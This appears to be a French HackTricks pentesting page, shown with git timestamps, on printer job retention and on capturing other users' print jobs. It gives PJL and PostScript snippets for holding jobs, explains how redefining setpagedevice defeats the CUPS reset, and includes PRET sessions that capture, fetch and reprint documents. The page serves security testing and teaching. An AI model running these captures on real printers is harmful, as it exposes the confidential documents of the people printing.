hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

129 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
# Conservation des travaux d'impression
2023-06-03 13:10:46 +00:00
Certains imprimantes stockent des travaux d'impression accessibles depuis le serveur web. Cependant, la conservation des travaux doit être activée explicitement pour un certain travail d'impression et peut être effectuée à l'aide de commandes PJL standard ou de code PostScript propriétaire. Les travaux sont ensuite conservés en mémoire et peuvent être réimprimés depuis le panneau de commande.
2022-05-01 12:49:36 +00:00
## PJL
2023-06-03 13:10:46 +00:00
La conservation légitime des travaux peut être activée pour le document en cours en définissant la variable PJL HOLD comme indiqué ci-dessous:
```
@PJL SET HOLD=ON
[actual data to be printed follows]
```
2023-06-03 13:10:46 +00:00
Les travaux en attente sont conservés en mémoire et peuvent être réimprimés à partir du panneau de commande de l'imprimante. Cette fonctionnalité est prise en charge par diverses imprimantes, cependant, il semble que seuls certains appareils Epson permettent la conservation permanente des travaux en attente en utilisant `@PJL DEFAULT HOLD=ON`.
2023-06-03 13:10:46 +00:00
**Comment tester cette attaque?**
2023-06-03 13:10:46 +00:00
Utilisez la commande `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en mode pjl pour vérifier si la conservation permanente des travaux peut être activée :
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
```
2022-05-01 12:49:36 +00:00
## PostScript
2023-06-03 13:10:46 +00:00
PostScript offre une fonctionnalité similaire qui est cependant spécifique au modèle et au fournisseur. Pour les séries HP LaserJet 4k et diverses imprimantes Kyocera, la rétention de tâches peut être activée en préfixant les commandes suivantes à un document PostScript :
```
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
```
2023-06-03 13:10:46 +00:00
Bien qu'il soit théoriquement possible d'activer en permanence la rétention des travaux PostScript à l'aide de l'opérateur [startjob](./#postscript-ps), ce paramètre est explicitement réinitialisé par CUPS au début de chaque travail d'impression à l'aide de `<< /Collate false >> setpagedevice`. Pour contrer ce mécanisme de protection, l'attaquant peut redéfinir de manière permanente l'opérateur `setpagedevice` pour qu'il n'ait aucun effet.
2023-06-03 13:10:46 +00:00
**Comment tester cette attaque?**
2023-06-03 13:10:46 +00:00
Utilisez la commande `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en mode ps :
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
2023-06-03 13:10:46 +00:00
# Capture de travaux d'impression
2023-06-03 13:10:46 +00:00
Il est possible mais peu courant d'activer la rétention de travaux dans la boîte de dialogue d'impression comme discuté ci-dessus. Cependant, avec PostScript, on a un accès complet sur le travail d'impression en cours et avec l'opérateur [startjob](./#postscript-ps), il est même possible de sortir de la boucle du serveur et d'accéder aux travaux futurs. Une telle fonctionnalité a le potentiel de capturer tous les documents si PostScript est utilisé comme pilote d'imprimante.
2022-05-01 12:49:36 +00:00
## PostScript
2023-06-03 13:10:46 +00:00
Avec la capacité de se connecter à des opérateurs PostScript arbitraires, il est possible de manipuler et d'accéder à des travaux d'impression étrangers. Pour **analyser le flux de données réel envoyé à l'imprimante**, on peut appliquer une fonctionnalité assez cool du langage PostScript : lire son propre code de programme en tant que données en utilisant l'opérateur `currentfile`. De cette façon, tout le flux de données à traiter par l'interpréteur PostScript peut être accédé en le lisant et en le stockant dans un fichier sur le périphérique d'impression. Si l'imprimante ne propose pas d'accès au système de fichiers, les **documents capturés peuvent être stockés en mémoire**, par exemple dans des dictionnaires PostScript permanents. \
Un problème pratique est de décider **quel opérateur doit être connecté** car on n'a pas accès au flux de données jusqu'à ce que cet opérateur soit traité par l'interpréteur PostScript. Comme un attaquant veut capturer des travaux d'impression dès le début, l'**opérateur redéfini doit être le tout premier opérateur** contenu dans le document PostScript. Heureusement, tous les documents imprimés avec CUPS sont pressés dans une structure fixe commençant par `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. En se basant sur l'hypothèse d'une telle structure fixe, l'attaquant peut capturer des documents dès le début et exécuter (aka imprimer) le fichier par la suite. Pour les systèmes d'impression **autres que CUPS**, cette attaque devrait également être possible, mais **les opérateurs doivent être adaptés**. Notez que l'en-tête PostScript qui inclut généralement la taille du support, les noms d'utilisateur et de travail ne peut pas être capturé en utilisant cette méthode car nous nous connectons d'abord au début du document réel. Une stratégie générique pour se connecter au début de chaque travail d'impression est de définir le paramètre système `BeginPage`, s'il est pris en charge par l'imprimante (la plupart des imprimantes le font). Cette vulnérabilité est probablement présente dans les périphériques d'impression depuis des décennies car seules les constructions de langage définies par la norme PostScript sont abusées.
2023-06-03 13:10:46 +00:00
Utilisez la commande `capture` de [**PRET**](https://github.com/RUB-NDS/PRET) en mode ps :
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
Print job operations: capture <operation>
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
2023-06-03 13:10:46 +00:00
Maintenant, imprimez des documents arbitraires (assurez-vous que PRET est déconnecté pour ne pas bloquer le canal d'impression). Ensuite, vous pouvez répertorier, récupérer ou réimprimer les documents capturés :
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>